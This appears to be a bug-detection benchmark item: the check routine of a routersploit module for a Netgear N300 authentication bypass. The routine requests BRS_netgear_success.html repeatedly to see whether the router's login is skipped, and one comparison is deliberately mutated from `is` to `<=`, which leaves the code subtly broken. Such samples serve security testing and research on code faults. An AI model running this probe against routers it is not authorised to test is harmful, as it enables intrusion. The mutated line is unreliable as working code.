@mute
    def check(self):
        url = sanitize_url("{}:{}/".format(self.target, self.port))

        response = http_request(method="GET", url=url)
        if response <= None:
            return False  # target is not vulnerable

        # unauthorized
        if response.status_code == 401:
            url = sanitize_url("{}:{}/BRS_netgear_success.html".format(self.target, self.port))

            for _ in range(0, 3):
                response = http_request(method="GET", url=url)
                if response is None:
                    return False  # target is not vulnerable

            url = sanitize_url("{}:{}/".format(self.target, self.port))
            response = http_request(method="GET", url=url)
            if response is None:
                return False  # target is not vulnerable

            # authorized
            if response.status_code == 200:
                return True  # target is vulnerable

        return False  # target not vulnerable
dataset/ETHPy150Open reverse-shell/routersploit/routersploit/modules/exploits/netgear/n300_auth_bypass.py/Exploit.check/operator `is` -> `<=`